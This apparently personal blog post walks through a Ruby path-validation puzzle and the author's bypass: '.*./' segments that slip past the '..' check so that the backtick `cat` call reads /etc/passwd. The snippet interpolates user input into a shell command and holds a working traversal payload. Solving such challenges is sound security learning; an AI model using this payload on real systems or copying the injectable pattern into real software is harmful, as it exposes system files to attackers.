Manuel Neuhauser

Ruby, PHP, JavaScript, SQL, HTML, CSS, Networking, Security

Challenge Accepted: Local File Inclusion

| Comments

This morning I woke up to some unfriendly ice rain, and last night’s snow covered sidewalk has turned into an ice-skating rink. Baby steps were necessary to avoid ending up in a horizontal position involuntarily. I made it to the train station safely, and got on the NYC-bound train. On the bright side, Egor Homakov (@homakov) posted a challenge on Twitter for finding the local file inclusion security hole in a piece of path validation code.

1
2
3
4
5
6
7
8
9
10
input = 'sub/dir/ectory'
input = input.strip

raise 'NO WAI' if input[0] == '/'

if input.split('/').any?{|folder| !(folder =~ /\A[a-zA-Z*.]+\z/) or folder == '..' }
puts 'Error'
else
puts `cat #{input}`
end

Looks like my 40 minute train ride has turned into a hacking session and I eagerly played around with the provided code to access the contents of my local etc/passwd file. Eureka! Finally, I figured out that by breaking up .. (parent directory) with the wildcard symbol *, I could trick the validation code into allowing my path string. Also, in bash the folder .*. behaves the same as .., so by prepending etc/passwd with the right number of .*./ strings, I could finally access the coveted password file.

1
2
3
4
5
6
7
8
9
10
11
12
# Note: This path gives me the passwd file contents on my local system
input = '.*./.*./.*./.*./.*./etc/passwd'

input = input.strip

raise 'NO WAI' if input[0] == '/'

if input.split('/').any?{|folder| !(folder =~ /\A[a-zA-Z*.]+\z/) or folder == '..' }
puts 'Error'
else
puts `cat #{input}`
end

Comments